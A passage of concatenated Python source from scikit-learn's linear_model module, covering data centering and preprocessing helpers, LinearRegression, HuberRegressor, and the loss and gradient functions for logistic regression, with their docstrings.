        X_std = np.ones(X.shape[1])
        y_offset = 0. if y.ndim == 1 else np.zeros(y.shape[1], dtype=X.dtype)

    return X, y, X_offset, y_offset, X_std


@deprecated("center_data was deprecated in version 0.18 and will be removed in "
            "0.20. Use utilities in preprocessing.data instead")
def center_data(X, y, fit_intercept, normalize=False, copy=True,
                sample_weight=None):
    """
    Centers data to have mean zero along axis 0. This is here because
    nearly all linear models will want their data to be centered.
    If sample_weight is not None, then the weighted mean of X and y
    is zero, and not the mean itself
    """
    X = as_float_array(X, copy)
    if fit_intercept:
        if isinstance(sample_weight, numbers.Number):
            sample_weight = None
        if sp.issparse(X):
            X_offset = np.zeros(X.shape[1])
            X_std = np.ones(X.shape[1])
        else:
            X_offset = np.average(X, axis=0, weights=sample_weight)
            X -= X_offset
            # XXX: currently scaled to variance=n_samples
            if normalize:
                X_std = np.sqrt(np.sum(X ** 2, axis=0))
                X_std[X_std == 0] = 1
                X /= X_std
            else:
                X_std = np.ones(X.shape[1])
        y_offset = np.average(y, axis=0, weights=sample_weight)
        y = y - y_offset
    else:
        X_offset = np.zeros(X.shape[1])
        X_std = np.ones(X.shape[1])
        y_offset = 0. if y.ndim == 1 else np.zeros(y.shape[1], dtype=X.dtype)
    return X, y, X_offset, y_offset, X_std


def _preprocess_data(X, y, fit_intercept, normalize=False, copy=True,
                     sample_weight=None, return_mean=False):
    """
    Centers data to have mean zero along axis 0. If fit_intercept=False or if
    the X is a sparse matrix, no centering is done, but normalization can still
    be applied. The function returns the statistics necessary to reconstruct
    the input data, which are X_offset, y_offset, X_scale, such that the output

        X = (X - X_offset) / X_scale

    X_scale is the L2 norm of X - X_offset. If sample_weight is not None,
    then the weighted mean of X and y is zero, and not the mean itself. If
    return_mean=True, the mean, eventually weighted, is returned, independently
    of whether X was centered (option used for optimization with sparse data in
    coordinate_descend).

    This is here because nearly all linear models will want their data to be
    centered.
    """

    if isinstance(sample_weight, numbers.Number):
        sample_weight = None

    X = check_array(X, copy=copy, accept_sparse=['csr', 'csc'],
                    dtype=FLOAT_DTYPES)

    if fit_intercept:
        if sp.issparse(X):
            X_offset, X_var = mean_variance_axis(X, axis=0)
            if not return_mean:
                X_offset = np.zeros(X.shape[1])

            if normalize:

                # TODO: f_normalize could be used here as well but the function
                # inplace_csr_row_normalize_l2 must be changed such that it
                # can return also the norms computed internally

                # transform variance to norm in-place
                X_var *= X.shape[0]
                X_scale = np.sqrt(X_var, X_var)
                del X_var
                X_scale[X_scale == 0] = 1
                inplace_column_scale(X, 1. / X_scale)
            else:
                X_scale = np.ones(X.shape[1])

        else:
            X_offset = np.average(X, axis=0, weights=sample_weight)
            X -= X_offset
            if normalize:
                X, X_scale = f_normalize(X, axis=0, copy=False,
                                         return_norm=True)
            else:
                X_scale = np.ones(X.shape[1])
        y_offset = np.average(y, axis=0, weights=sample_weight)
        y = y - y_offset
    else:
        X_offset = np.zeros(X.shape[1])
        X_scale = np.ones(X.shape[1])
        y_offset = 0. if y.ndim == 1 else np.zeros(y.shape[1], dtype=X.dtype)

    return X, y, X_offset, y_offset, X_scale


# TODO: _rescale_data should be factored into _preprocess_data.
# Currently, the fact that sag implements its own way to deal with
# sample_weight makes the refactoring tricky.

def _rescale_data(X, y, sample_weight):
    """Rescale data so as to support sample_weight"""
    n_samples = X.shape[0]
    sample_weight = sample_weight * np.ones(n_samples)
    sample_weight = np.sqrt(sample_weight)
    sw_matrix = sparse.dia_matrix((sample_weight, 0),
                                  shape=(n_samples, n_samples))
    X = safe_sparse_dot(sw_matrix, X)
    y = safe_sparse_dot(sw_matrix, y)
    return X, y


class LinearModel(six.with_metaclass(ABCMeta, BaseEstimator)):
    """Base class for Linear Models"""

    @abstractmethod
    def fit(self, X, y):
        """Fit model."""

    @deprecated(" and will be removed in 0.19.")
    def decision_function(self, X):
        """Decision function of the linear model.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = (n_samples, n_features)
            Samples.

        Returns
        -------
        C : array, shape = (n_samples,)
            Returns predicted values.
        """
        return self._decision_function(X)

    def _decision_function(self, X):
        check_is_fitted(self, "coef_")

        X = check_array(X, accept_sparse=['csr', 'csc', 'coo'])
        return safe_sparse_dot(X, self.coef_.T,
                               dense_output=True) + self.intercept_

    def predict(self, X):
        """Predict using the linear model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = (n_samples, n_features)
            Samples.

        Returns
        -------
        C : array, shape = (n_samples,)
            Returns predicted values.
        """
        return self._decision_function(X)

    _preprocess_data = staticmethod(_preprocess_data)

    def _set_intercept(self, X_offset, y_offset, X_scale):
        """Set the intercept_
        """
        if self.fit_intercept:
            self.coef_ = self.coef_ / X_scale
            self.intercept_ = y_offset - np.dot(X_offset, self.coef_.T)
        else:
            self.intercept_ = 0.


# XXX Should this derive from LinearModel? It should be a mixin, not an ABC.
# Maybe the n_features checking can be moved to LinearModel.
class LinearClassifierMixin(ClassifierMixin):
    """Mixin for linear classifiers.

    Handles prediction for sparse and dense X.
    """

    def decision_function(self, X):
        """Predict confidence scores for samples.

        The confidence score for a sample is the signed distance of that
        sample to the hyperplane.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = (n_samples, n_features)
            Samples.

        Returns
        -------
        array, shape=(n_samples,) if n_classes == 2 else (n_samples, n_classes)
            Confidence scores per (sample, class) combination. In the binary
            case, confidence score for self.classes_[1] where >0 means this
            class would be predicted.
        """
        if not hasattr(self, 'coef_') or self.coef_ is None:
            raise NotFittedError("This %(name)s instance is not fitted "
                                 "yet" % {'name': type(self).__name__})

        X = check_array(X, accept_sparse='csr')

        n_features = self.coef_.shape[1]
        if X.shape[1] != n_features:
            raise ValueError("X has %d features per sample; expecting %d"
                             % (X.shape[1], n_features))

        scores = safe_sparse_dot(X, self.coef_.T,
                                 dense_output=True) + self.intercept_
        return scores.ravel() if scores.shape[1] == 1 else scores

    def predict(self, X):
        """Predict class labels for samples in X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Samples.

        Returns
        -------
        C : array, shape = [n_samples]
            Predicted class label per sample.
        """
        scores = self.decision_function(X)
        if len(scores.shape) == 1:
            indices = (scores > 0).astype(np.int)
        else:
            indices = scores.argmax(axis=1)
        return self.classes_[indices]

    def _predict_proba_lr(self, X):
        """Probability estimation for OvR logistic regression.

        Positive class probabilities are computed as
        1. / (1. + np.exp(-self.decision_function(X)));
        multiclass is handled by normalizing that over all classes.
        """
        prob = self.decision_function(X)
        prob *= -1
        np.exp(prob, prob)
        prob += 1
        np.reciprocal(prob, prob)
        if prob.ndim == 1:
            return np.vstack([1 - prob, prob]).T
        else:
            # OvR normalization, like LibLinear's predict_probability
            prob /= prob.sum(axis=1).reshape((prob.shape[0], -1))
            return prob


class SparseCoefMixin(object):
    """Mixin for converting coef_ to and from CSR format.

    L1-regularizing estimators should inherit this.
    """

    def densify(self):
        """Convert coefficient matrix to dense array format.

        Converts the ``coef_`` member (back) to a numpy.ndarray. This is the
        default format of ``coef_`` and is required for fitting, so calling
        this method is only required on models that have previously been
        sparsified; otherwise, it is a no-op.

        Returns
        -------
        self: estimator
        """
        msg = "Estimator, %(name)s, must be fitted before densifying."
        check_is_fitted(self, "coef_", msg=msg)
        if sp.issparse(self.coef_):
            self.coef_ = self.coef_.toarray()
        return self

    def sparsify(self):
        """Convert coefficient matrix to sparse format.

        Converts the ``coef_`` member to a scipy.sparse matrix, which for
        L1-regularized models can be much more memory- and storage-efficient
        than the usual numpy.ndarray representation.

        The ``intercept_`` member is not converted.

        Notes
        -----
        For non-sparse models, i.e. when there are not many zeros in ``coef_``,
        this may actually *increase* memory usage, so use this method with
        care. A rule of thumb is that the number of zero elements, which can
        be computed with ``(coef_ == 0).sum()``, must be more than 50% for this
        to provide significant benefits.

        After calling this method, further fitting with the partial_fit
        method (if any) will not work until you call densify.

        Returns
        -------
        self: estimator
        """
        msg = "Estimator, %(name)s, must be fitted before sparsifying."
        check_is_fitted(self, "coef_", msg=msg)
        self.coef_ = sp.csr_matrix(self.coef_)
        return self


class LinearRegression(LinearModel, RegressorMixin):
    """
    Ordinary least squares Linear Regression.

    Parameters
    ----------
    fit_intercept : boolean, optional
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    copy_X : boolean, optional, default True
        If True, X will be copied; else, it may be overwritten.

    n_jobs : int, optional, default 1
        The number of jobs to use for the computation.
        If -1 all CPUs are used. This will only provide speedup for
        n_targets > 1 and sufficient large problems.

    Attributes
    ----------
    coef_ : array, shape (n_features, ) or (n_targets, n_features)
        Estimated coefficients for the linear regression problem.
        If multiple targets are passed during the fit (y 2D), this
        is a 2D array of shape (n_targets, n_features), while if only
        one target is passed, this is a 1D array of length n_features.

    residues_ : array, shape (n_targets,) or (1,) or empty
        Sum of residuals. Squared Euclidean 2-norm for each target passed
        during the fit. If the linear regression problem is under-determined
        (the number of linearly independent rows of the training matrix is less
        than its number of linearly independent columns), this is an empty
        array. If the target vector passed during the fit is 1-dimensional,
        this is a (1,) shape array.

    intercept_ : array
        Independent term in the linear model.

    Notes
    -----
    From the implementation point of view, this is just plain Ordinary
    Least Squares (scipy.linalg.lstsq) wrapped as a predictor object.

    """

    def __init__(self, fit_intercept=True, normalize=False, copy_X=True,
                 n_jobs=1):
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.copy_X = copy_X
        self.n_jobs = n_jobs

    @property
    @deprecated("``residues_`` is deprecated and will be removed in 0.19")
    def residues_(self):
        """Get the residues of the fitted model."""
        return self._residues

    def fit(self, X, y, sample_weight=None):
        """
        Fit linear model.

        Parameters
        ----------
        X : numpy array or sparse matrix of shape [n_samples,n_features]
            Training data

        y : numpy array of shape [n_samples, n_targets]
            Target values

        sample_weight : numpy array of shape [n_samples]
            Individual weights for each sample

            .. versionadded:: 0.17
               parameter *sample_weight* support to LinearRegression.

        Returns
        -------
        self : returns an instance of self.
        """

        n_jobs_ = self.n_jobs
        X, y = check_X_y(X, y, accept_sparse=['csr', 'csc', 'coo'],
                         y_numeric=True, multi_output=True)

        if sample_weight is not None and np.atleast_1d(sample_weight).ndim > 1:
            raise ValueError("Sample weights must be 1D array or scalar")

        X, y, X_offset, y_offset, X_scale = self._preprocess_data(
            X, y, fit_intercept=self.fit_intercept, normalize=self.normalize,
            copy=self.copy_X, sample_weight=sample_weight)

        if sample_weight is not None:
            # Sample weight can be implemented via a simple rescaling.
            X, y = _rescale_data(X, y, sample_weight)

        if sp.issparse(X):
            if y.ndim < 2:
                out = sparse_lsqr(X, y)
                self.coef_ = out[0]
                self._residues = out[3]
            else:
                # sparse_lstsq cannot handle y with shape (M, K)
                outs = Parallel(n_jobs=n_jobs_)(
                    delayed(sparse_lsqr)(X, y[:, j].ravel())
                    for j in range(y.shape[1]))
                self.coef_ = np.vstack(out[0] for out in outs)
                self._residues = np.vstack(out[3] for out in outs)
        else:
            self.coef_, self._residues, self.rank_, self.singular_ = \
                linalg.lstsq(X, y)
            self.coef_ = self.coef_.T

        if y.ndim == 1:
            self.coef_ = np.ravel(self.coef_)
        self._set_intercept(X_offset, y_offset, X_scale)
        return self


def _pre_fit(X, y, Xy, precompute, normalize, fit_intercept, copy):
    """Aux function used at beginning of fit in linear models"""
    n_samples, n_features = X.shape

    if sparse.isspmatrix(X):
        precompute = False
        X, y, X_offset, y_offset, X_scale = _preprocess_data(
            X, y, fit_intercept=fit_intercept, normalize=normalize,
            return_mean=True)
    else:
        # copy was done in fit if necessary
        X, y, X_offset, y_offset, X_scale = _preprocess_data(
            X, y, fit_intercept=fit_intercept, normalize=normalize, copy=copy)
    if hasattr(precompute, '__array__') and (
            fit_intercept and not np.allclose(X_offset, np.zeros(n_features)) or
            normalize and not np.allclose(X_scale, np.ones(n_features))):
        warnings.warn("Gram matrix was provided but X was centered"
                      " to fit intercept, "
                      "or X was normalized : recomputing Gram matrix.",
                      UserWarning)
        # recompute Gram
        precompute = 'auto'
        Xy = None

    # precompute if n_samples > n_features
    if isinstance(precompute, six.string_types) and precompute == 'auto':
        precompute = (n_samples > n_features)

    if precompute is True:
        # make sure that the 'precompute' array is contiguous.
        precompute = np.empty(shape=(n_features, n_features), dtype=X.dtype,
                              order='C')
        np.dot(X.T, X, out=precompute)

    if not hasattr(precompute, '__array__'):
        Xy = None  # cannot use Xy if precompute is not Gram

    if hasattr(precompute, '__array__') and Xy is None:
        common_dtype = np.find_common_type([X.dtype, y.dtype], [])
        if y.ndim == 1:
            # Xy is 1d, make sure it is contiguous.
            Xy = np.empty(shape=n_features, dtype=common_dtype, order='C')
            np.dot(X.T, y, out=Xy)
        else:
            # Make sure that Xy is always F contiguous even if X or y are not
            # contiguous: the goal is to make it fast to extract the data for a
            # specific target.
            n_targets = y.shape[1]
            Xy = np.empty(shape=(n_features, n_targets), dtype=common_dtype,
                          order='F')
            np.dot(y.T, X, out=Xy.T)

    return X, y, X_offset, y_offset, X_scale, precompute, Xy






# Authors: Manoj Kumar mks542@nyu.edu
# License: BSD 3 clause

import numpy as np

from scipy import optimize, sparse

from ..base import BaseEstimator, RegressorMixin
from .base import LinearModel
from ..utils import check_X_y
from ..utils import check_consistent_length
from ..utils import axis0_safe_slice
from ..utils.extmath import safe_sparse_dot


def _huber_loss_and_gradient(w, X, y, epsilon, alpha, sample_weight=None):
    """Returns the Huber loss and the gradient.

    Parameters
    ----------
    w : ndarray, shape (n_features + 1,) or (n_features + 2,)
        Feature vector.
        w[:n_features] gives the coefficients
        w[-1] gives the scale factor and if the intercept is fit w[-2]
        gives the intercept factor.

    X : ndarray, shape (n_samples, n_features)
        Input data.

    y : ndarray, shape (n_samples,)
        Target vector.

    epsilon : float
        Robustness of the Huber estimator.

    alpha : float
        Regularization parameter.

    sample_weight : ndarray, shape (n_samples,), optional
        Weight assigned to each sample.

    Returns
    -------
    loss: float
        Huber loss.

    gradient: ndarray, shape (len(w))
        Returns the derivative of the Huber loss with respect to each
        coefficient, intercept and the scale as a vector.
    """
    X_is_sparse = sparse.issparse(X)
    _, n_features = X.shape
    fit_intercept = (n_features + 2 == w.shape[0])
    if fit_intercept:
        intercept = w[-2]
    sigma = w[-1]
    w = w[:n_features]
    n_samples = np.sum(sample_weight)

    # Calculate the values where |y - X'w -c / sigma| > epsilon
    # The values above this threshold are outliers.
    linear_loss = y - safe_sparse_dot(X, w)
    if fit_intercept:
        linear_loss -= intercept
    abs_linear_loss = np.abs(linear_loss)
    outliers_mask = abs_linear_loss > epsilon * sigma

    # Calculate the linear loss due to the outliers.
    # This is equal to (2 * M * |y - X'w -c / sigma| - M**2) * sigma
    outliers = abs_linear_loss[outliers_mask]
    num_outliers = np.count_nonzero(outliers_mask)
    n_non_outliers = X.shape[0] - num_outliers

    # n_sq_outliers includes the weight give to the outliers while
    # num_outliers is just the number of outliers.
    outliers_sw = sample_weight[outliers_mask]
    n_sw_outliers = np.sum(outliers_sw)
    outlier_loss = (2. * epsilon * np.sum(outliers_sw * outliers) -
                    sigma * n_sw_outliers * epsilon ** 2)

    # Calculate the quadratic loss due to the non-outliers.-
    # This is equal to |(y - X'w - c)**2 / sigma**2| * sigma
    non_outliers = linear_loss[~outliers_mask]
    weighted_non_outliers = sample_weight[~outliers_mask] * non_outliers
    weighted_loss = np.dot(weighted_non_outliers.T, non_outliers)
    squared_loss = weighted_loss / sigma

    if fit_intercept:
        grad = np.zeros(n_features + 2)
    else:
        grad = np.zeros(n_features + 1)

    # Gradient due to the squared loss.
    X_non_outliers = -axis0_safe_slice(X, ~outliers_mask, n_non_outliers)
    grad[:n_features] = (
        2. / sigma * safe_sparse_dot(weighted_non_outliers, X_non_outliers))

    # Gradient due to the linear loss.
    signed_outliers = np.ones_like(outliers)
    signed_outliers_mask = linear_loss[outliers_mask] < 0
    signed_outliers[signed_outliers_mask] = -1.0
    X_outliers = axis0_safe_slice(X, outliers_mask, num_outliers)
    sw_outliers = sample_weight[outliers_mask] * signed_outliers
    grad[:n_features] -= 2. * epsilon * (
        safe_sparse_dot(sw_outliers, X_outliers))

    # Gradient due to the penalty.
    grad[:n_features] += alpha * 2. * w

    # Gradient due to sigma.
    grad[-1] = n_samples
    grad[-1] -= n_sw_outliers * epsilon ** 2
    grad[-1] -= squared_loss / sigma

    # Gradient due to the intercept.
    if fit_intercept:
        grad[-2] = -2. * np.sum(weighted_non_outliers) / sigma
        grad[-2] -= 2. * epsilon * np.sum(sw_outliers)

    loss = n_samples * sigma + squared_loss + outlier_loss
    loss += alpha * np.dot(w, w)
    return loss, grad


class HuberRegressor(LinearModel, RegressorMixin, BaseEstimator):
    """Linear regression model that is robust to outliers.

    The Huber Regressor optimizes the squared loss for the samples where
    ``|(y - X'w) / sigma| < epsilon`` and the absolute loss for the samples
    where ``|(y - X'w) / sigma| > epsilon``, where w and sigma are parameters
    to be optimized. The parameter sigma makes sure that if y is scaled up
    or down by a certain factor, one does not need to rescale epsilon to
    achieve the same robustness. Note that this does not take into account
    the fact that the different features of X may be of different scales.

    This makes sure that the loss function is not heavily influenced by the
    outliers while not completely ignoring their effect.

    Read more in the :ref:`User Guide <huber_regression>`

    .. versionadded:: 0.18

    Parameters
    ----------
    epsilon : float, greater than 1.0, default 1.35
        The parameter epsilon controls the number of samples that should be
        classified as outliers. The smaller the epsilon, the more robust it is
        to outliers.

    max_iter : int, default 100
        Maximum number of iterations that scipy.optimize.fmin_l_bfgs_b
        should run for.

    alpha : float, default 0.0001
        Regularization parameter.

    warm_start : bool, default False
        This is useful if the stored attributes of a previously used model
        has to be reused. If set to False, then the coefficients will
        be rewritten for every call to fit.

    fit_intercept : bool, default True
        Whether or not to fit the intercept. This can be set to False
        if the data is already centered around the origin.

    tol : float, default 1e-5
        The iteration will stop when
        ``max{|proj g_i | i = 1, ..., n}`` <= ``tol``
        where pg_i is the i-th component of the projected gradient.

    Attributes
    ----------
    coef_ : array, shape (n_features,)
        Features got by optimizing the Huber loss.

    intercept_ : float
        Bias.

    scale_ : float
        The value by which ``|y - X'w - c|`` is scaled down.

    n_iter_ : int
        Number of iterations that fmin_l_bfgs_b has run for.
        Not available if SciPy version is 0.9 and below.

    outliers_: array, shape (n_samples,)
        A boolean mask which is set to True where the samples are identified
        as outliers.

    References
    ----------
    .. [1] Peter J. Huber, Elvezio M. Ronchetti, Robust Statistics
           Concomitant scale estimates, pg 172
    .. [2] Art B. Owen (2006), A robust hybrid of lasso and ridge regression.
           http://statweb.stanford.edu/~owen/reports/hhu.pdf
    """

    def __init__(self, epsilon=1.35, max_iter=100, alpha=0.0001,
                 warm_start=False, fit_intercept=True, tol=1e-05):
        self.epsilon = epsilon
        self.max_iter = max_iter
        self.alpha = alpha
        self.warm_start = warm_start
        self.fit_intercept = fit_intercept
        self.tol = tol

    def fit(self, X, y, sample_weight=None):
        """Fit the model according to the given training data.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.

        y : array-like, shape (n_samples,)
            Target vector relative to X.

        sample_weight : array-like, shape (n_samples,)
            Weight given to each sample.

        Returns
        -------
        self : object
            Returns self.
        """
        X, y = check_X_y(
            X, y, copy=False, accept_sparse=['csr'], y_numeric=True)
        if sample_weight is not None:
            sample_weight = np.array(sample_weight)
            check_consistent_length(y, sample_weight)
        else:
            sample_weight = np.ones_like(y)

        if self.epsilon < 1.0:
            raise ValueError(
                "epsilon should be greater than or equal to 1.0, got %f"
                % self.epsilon)

        if self.warm_start and hasattr(self, 'coef_'):
            parameters = np.concatenate(
                (self.coef_, [self.intercept_, self.scale_]))
        else:
            if self.fit_intercept:
                parameters = np.zeros(X.shape[1] + 2)
            else:
                parameters = np.zeros(X.shape[1] + 1)
            # Make sure to initialize the scale parameter to a strictly
            # positive value:
            parameters[-1] = 1

        # Sigma or the scale factor should be non-negative.
        # Setting it to be zero might cause undefined bounds hence we set it
        # to a value close to zero.
        bounds = np.tile([-np.inf, np.inf], (parameters.shape[0], 1))
        bounds[-1][0] = np.finfo(np.float64).eps * 10

        # Type Error caused in old versions of SciPy because of no
        # maxiter argument ( <= 0.9).
        try:
            parameters, f, dict_ = optimize.fmin_l_bfgs_b(
                _huber_loss_and_gradient, parameters,
                args=(X, y, self.epsilon, self.alpha, sample_weight),
                maxiter=self.max_iter, pgtol=self.tol, bounds=bounds,
                iprint=0)
        except TypeError:
            parameters, f, dict_ = optimize.fmin_l_bfgs_b(
                _huber_loss_and_gradient, parameters,
                args=(X, y, self.epsilon, self.alpha, sample_weight),
                bounds=bounds)
        if dict_['warnflag'] == 2:
            raise ValueError("HuberRegressor convergence failed:"
                             " l-BFGS-b solver terminated with %s"
                             % dict_['task'].decode('ascii'))
        self.n_iter_ = dict_.get('nit', None)
        self.scale_ = parameters[-1]
        if self.fit_intercept:
            self.intercept_ = parameters[-2]
        else:
            self.intercept_ = 0.0
        self.coef_ = parameters[:X.shape[1]]

        residual = np.abs(
            y - safe_sparse_dot(X, self.coef_) - self.intercept_)
        self.outliers_ = residual > self.scale_ * self.epsilon
        return self







"""
Logistic Regression
"""

# Author: Gael Varoquaux <gael.varoquaux@normalesup.org>
#         Fabian Pedregosa <f@bianp.net>
#         Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
#         Manoj Kumar <manojkumarsivaraj334@gmail.com>
#         Lars Buitinck
#         Simon Wu <s8wu@uwaterloo.ca>

import numbers
import warnings

import numpy as np
from scipy import optimize, sparse

from .base import LinearClassifierMixin, SparseCoefMixin, BaseEstimator
from .sag import sag_solver
from ..feature_selection.from_model import _LearntSelectorMixin
from ..preprocessing import LabelEncoder, LabelBinarizer
from ..svm.base import _fit_liblinear
from ..utils import check_array, check_consistent_length, compute_class_weight
from ..utils import check_random_state
from ..utils.extmath import (logsumexp, log_logistic, safe_sparse_dot,
                             softmax, squared_norm)
from ..utils.extmath import row_norms
from ..utils.optimize import newton_cg
from ..utils.validation import check_X_y
from ..exceptions import DataConversionWarning
from ..exceptions import NotFittedError
from ..utils.fixes import expit
from ..utils.multiclass import check_classification_targets
from ..externals.joblib import Parallel, delayed
from ..model_selection import check_cv
from ..externals import six
from ..metrics import SCORERS


# .. some helper functions for logistic_regression_path ..
def _intercept_dot(w, X, y):
    """Computes y * np.dot(X, w).

    It takes into consideration if the intercept should be fit or not.

    Parameters
    ----------
    w : ndarray, shape (n_features,) or (n_features + 1,)
        Coefficient vector.

    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    y : ndarray, shape (n_samples,)
        Array of labels.

    Returns
    -------
    w : ndarray, shape (n_features,)
        Coefficient vector without the intercept weight (w[-1]) if the
        intercept should be fit. Unchanged otherwise.

    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data. Unchanged.

    yz : float
        y * np.dot(X, w).
    """
    c = 0.
    if w.size == X.shape[1] + 1:
        c = w[-1]
        w = w[:-1]

    z = safe_sparse_dot(X, w) + c
    yz = y * z
    return w, c, yz


def _logistic_loss_and_grad(w, X, y, alpha, sample_weight=None):
    """Computes the logistic loss and gradient.

    Parameters
    ----------
    w : ndarray, shape (n_features,) or (n_features + 1,)
        Coefficient vector.

    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    y : ndarray, shape (n_samples,)
        Array of labels.

    alpha : float
        Regularization parameter. alpha is equal to 1 / C.

    sample_weight : array-like, shape (n_samples,) optional
        Array of weights that are assigned to individual samples.
        If not provided, then each sample is given unit weight.

    Returns
    -------
    out : float
        Logistic loss.

    grad : ndarray, shape (n_features,) or (n_features + 1,)
        Logistic gradient.
    """
    n_samples, n_features = X.shape
    grad = np.empty_like(w)

    w, c, yz = _intercept_dot(w, X, y)

    if sample_weight is None:
        sample_weight = np.ones(n_samples)

    # Logistic loss is the negative of the log of the logistic function.
    out = -np.sum(sample_weight * log_logistic(yz)) + .5 * alpha * np.dot(w, w)

    z = expit(yz)
    z0 = sample_weight * (z - 1) * y

    grad[:n_features] = safe_sparse_dot(X.T, z0) + alpha * w

    # Case where we fit the intercept.
    if grad.shape[0] > n_features:
        grad[-1] = z0.sum()
    return out, grad


def _logistic_loss(w, X, y, alpha, sample_weight=None):
    """Computes the logistic loss.

    Parameters
    ----------
    w : ndarray, shape (n_features,) or (n_features + 1,)
        Coefficient vector.

    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    y : ndarray, shape (n_samples,)
        Array of labels.

    alpha : float
        Regularization parameter. alpha is equal to 1 / C.

    sample_weight : array-like, shape (n_samples,) optional
        Array of weights that are assigned to individual samples.
        If not provided, then each sample is given unit weight.

    Returns
    -------
    out : float
        Logistic loss.
    """
    w, c, yz = _intercept_dot(w, X, y)

    if sample_weight is None:
        sample_weight = np.ones(y.shape[0])

    # Logistic loss is the negative of the log of the logistic function.
    out = -np.sum(sample_weight * log_logistic(yz)) + .5 * alpha * np.dot(w, w)
    return out


def _logistic_grad_hess(w, X, y, alpha, sample_weight=None):
    """Computes the gradient and the Hessian, in the case of a logistic loss.

    Parameters
    ----------
    w : ndarray, shape (n_features,) or (n_features + 1,)
        Coefficient vector.

    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    y : ndarray, shape (n_samples,)
        Array of labels.

    alpha : float
        Regularization parameter. alpha is equal to 1 / C.

    sample_weight : array-like, shape (n_samples,) optional
        Array of weights that are assigned to individual samples.
        If not provided, then each sample is given unit weight.

    Returns
    -------
    grad : ndarray, shape (n_features,) or (n_features + 1,)
        Logistic gradient.

    Hs : callable
        Function that takes the gradient as a parameter and returns the
        matrix product of the Hessian and gradient.
    """
    n_samples, n_features = X.shape
    grad = np.empty_like(w)
    fit_intercept = grad.shape[0] > n_features

    w, c, yz = _intercept_dot(w, X, y)

    if sample_weight is None:
        sample_weight = np.ones(y.shape[0])

    z = expit(yz)
    z0 = sample_weight * (z - 1) * y

    grad[:n_features] = safe_sparse_dot(X.T, z0) + alpha * w

    # Case where we fit the intercept.
    if fit_intercept:
        grad[-1] = z0.sum()

    # The mat-vec product of the Hessian
    d = sample_weight * z * (1 - z)
    if sparse.issparse(X):
        dX = safe_sparse_dot(sparse.dia_matrix((d, 0),
                             shape=(n_samples, n_samples)), X)
    else:
        # Precompute as much as possible
        dX = d[:, np.newaxis] * X

    if fit_intercept:
        # Calculate the double derivative with respect to intercept
        # In the case of sparse matrices this returns a matrix object.
        dd_intercept = np.squeeze(np.array(dX.sum(axis=0)))

    def Hs(s):
        ret = np.empty_like(s)
        ret[:n_features] = X.T.dot(dX.dot(s[:n_features]))
        ret[:n_features] += alpha * s[:n_features]

        # For the fit intercept case.
        if fit_intercept:
            ret[:n_features] += s[-1] * dd_intercept
            ret[-1] = dd_intercept.dot(s[:n_features])
            ret[-1] += d.sum() * s[-1]
        return ret

    return grad, Hs


def _multinomial_loss(w, X, Y, alpha, sample_weight):
    """Computes multinomial loss and class probabilities.

    Parameters
    ----------
    w : ndarray, shape (n_classes * n_features,) or
        (n_classes * (n_features + 1),)
        Coefficient vector.

    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    Y : ndarray, shape (n_samples, n_classes)
        Transformed labels according to the output of LabelBinarizer.

    alpha : float
        Regularization parameter. alpha is equal to 1 / C.

    sample_weight : array-like, shape (n_samples,) optional
        Array of weights that are assigned to individual samples.
        If not provided, then each sample is given unit weight.

    Returns
    -------
    loss : float
        Multinomial loss.

    p : ndarray, shape (n_samples, n_classes)
        Estimated class probabilities.

    w : ndarray, shape (n_classes, n_features)
        Reshaped param vector excluding intercept terms.

    Reference
    ---------
    Bishop, C. M. (2006). Pattern recognition and machine learning.
    Springer. (Chapter 4.3.4)
    """
    n_classes = Y.shape[1]
    n_features = X.shape[1]
    fit_intercept = w.size == (n_classes * (n_features + 1))
    w = w.reshape(n_classes, -1)
    sample_weight = sample_weight[:, np.newaxis]
    if fit_intercept:
        intercept = w[:, -1]
        w = w[:, :-1]
    else:
        intercept = 0
    p = safe_sparse_dot(X, w.T)
    p += intercept
    p -= logsumexp(p, axis=1)[:, np.newaxis]
    loss = -(sample_weight * Y * p).sum()
    loss += 0.5 * alpha * squared_norm(w)
    p = np.exp(p, p)
    return loss, p, w


def _multinomial_loss_grad(w, X, Y, alpha, sample_weight):
    """Computes the multinomial loss, gradient and class probabilities.

    Parameters
    ----------
    w : ndarray, shape (n_classes * n_features,) or
        (n_classes * (n_features + 1),)
        Coefficient vector.

    X : {array-like, sparse matrix}, shape (n_samples, n_features)
        Training data.

    Y : ndarray, shape (n_samples, n_classes)
        Transformed labels according to the output of LabelBinarizer.

    alpha : float
        Regularization parameter. alpha is equal to 1 / C.

    sample_weight : array-like, shape (n_samples,) optional
        Array of weights that are assigned to individual samples.

    Returns
    -------
    loss : float
        Multinomial loss.

    grad : ndarray, shape (n_classes * n_features,) or
        (n_classes * (n_features + 1),)
        Ravelled gradient of the multinomial loss.

    p : ndarray, shape (n_samples, n_classes)
        Estimated class probabilities

    Reference
    ---------
    Bishop, C. M. (2006). Pattern recognition and machine learning.
    Springer. (Chapter 4.3.4)
    """
    n_classes = Y.shape[1]
    n_features = X.shape[1]
    fit_intercept = (w.size == n_classes * (n_features + 1))
    grad = np.zeros((n_classes, n_features + bool(fit_intercept)))
    loss, p, w = _multinomial_loss(w, X, Y, alpha, sample_weight)
    sample_weight = sample_weight[:, np.newaxis]
    diff = sample_weight * (p - Y)
    grad[:, :n_features] = safe_sparse_dot(diff.T, X)
    grad[:, :n_features] += alpha * w
